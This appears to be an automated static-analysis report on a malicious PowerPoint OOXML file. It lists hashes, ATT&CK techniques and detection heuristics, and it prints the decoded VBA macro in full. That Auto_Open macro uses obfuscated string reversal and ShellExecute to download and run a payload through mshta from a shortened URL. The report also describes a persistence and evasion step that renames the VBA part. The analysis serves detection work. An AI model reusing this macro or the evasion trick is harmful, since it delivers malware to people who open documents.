Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fea8ab7307045125…

MALICIOUS

Office (OOXML)

8.2 KB First seen: 2026-06-05
MD5: d888ee277b68815be0329e174f6c2e27 SHA-1: 96929b47a471acc168766af65b6cdd9f08c8a4c7 SHA-256: fea8ab730704512597ec508661b4437e3448b96208ca570a17eeacefe3f54065
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The OOXML document contains a VBA macro that is automatically executed upon opening via the Auto_Open subroutine. This macro uses CreateObject to call ShellExecute, which is designed to download and execute a payload from the reconstructed URL "https://www.bitly.com/adjcxipocksokmd". The VBA project part was also renamed to evade detection, indicating malicious intent. The macro also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/fdrytugiuhion.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/adjcxipocksokmd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 821 bytes
SHA-256: bf48db16408e9010f115f46322f60952989ab9f32bd109a92c37f4865fdba43a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module111"

Sub _
Auto_Open _
()
Dim MsgBox As New topli
Set Outlook = CreateObject("Outlook.Application")

Set Microsoft = Outlook.CreateObject("Shell.Application")

Microsoft.ShellExecute MsgBox.mill, MsgBox.link





End _
Sub


Attribute VB_Name = "topli"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function mill()
o = StrReverse("M")
m = StrReverse("s")
l = StrReverse("H")
a = StrReverse("t")
i = StrReverse("A")
mill = o + m + l + a + i
End Function
Function link()
link = "https://www.bitly.com/adjcxipocksokmd"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/fdrytugiuhion.b 17408 bytes
SHA-256: 8891c7e412f67a6b3e8c78ac72f2c56b5870b9313d2efed284aa0501809760c7

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